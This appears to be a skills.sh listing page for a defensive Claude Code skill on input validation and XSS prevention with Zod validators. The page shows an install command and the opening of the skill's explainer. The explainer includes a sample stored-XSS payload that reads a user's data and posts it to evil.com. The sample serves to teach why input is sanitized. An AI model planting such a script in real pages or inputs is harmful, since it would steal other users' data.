harperaa avatar

Input Validation Xss Prevention

This is a production-ready XSS prevention system built around Zod schemas, giving you 11 pre-built validators for everything from emails to contact forms. It handles the tedious security work: sanitizing dangerous characters, validating formats, and giving you type-safe data you can actually trust. The architecture is smart about tradeoffs, removing angle brackets and ampersands while keeping apostrophes so users named O'Neal can still enter their names. Pair it with CSRF protection and rate limiting for API routes that won't get you fined £20 million. The validateRequest helper returns formatted errors automatically, so you're not writing the same validation boilerplate in every route.

skills.sh installs
197
GitHub stars
18
last updated
Aug 21, 2026

Install

$ npx -y skills add harperaa/secure-claude-skills --skill input-validation-xss-prevention --agent claude-code

Installs into .claude/skills of the current project.

Files

Input Validation & XSS Prevention

The Universal Truth of Web Security

Never trust user input. This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:

  • SQL Injection - Equifax (147 million records)
  • XSS - British Airways (380,000 transactions, £20M fine)
  • Command Injection - Countless others

According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.

Understanding XSS (Cross-Site Scripting)

The Attack

Attacker enters in a bio field:

<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>

Without sanitization, when other users view this profile:

  1. The script executes in their browsers
  2. It steals their user data
  3. Sends it to attacker's server
  4. Victims never know they were compromised

Real-World XSS Consequences

Sponsors

Details

Repository
github.com/harperaa/secure-claude-skills
Categories
Security, Code Review & Quality
First seen
Jun 3, 2026

More from harperaa/secure-claude-skills

All 12

Recommended

More Security
1proffesor-for-testing avatarn8n-security-testingproffesor-for-testing/agentic-qeCredential exposure detection, OAuth flow validation, API key management testing, and data sanitization verification for n8n workflows. Use when validating n8n 172skills.sh installs
2aakash-dhar avatarsecurity-auditaakash-dhar/claude-skillsScans code for security vulnerabilities including injection attacks, authentication flaws, exposed secrets, insecure dependencies, and data exposure. Use when t165skills.sh installs
3TheBeardedBearSAS avatarsecurityTheBeardedBearSAS/claude-craftSécurité. Use when reviewing security, implementing auth, or hardening code.136skills.sh installs
4davila7 avatarBroken Authentication Testingdavila7/claude-code-templatesThis skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuf0skills.sh installs
5davila7 avatarIDOR Vulnerability Testingdavila7/claude-code-templatesThis skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enu0skills.sh installs
6davila7 avatarPentest Checklistdavila7/claude-code-templatesThis skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define 0skills.sh installs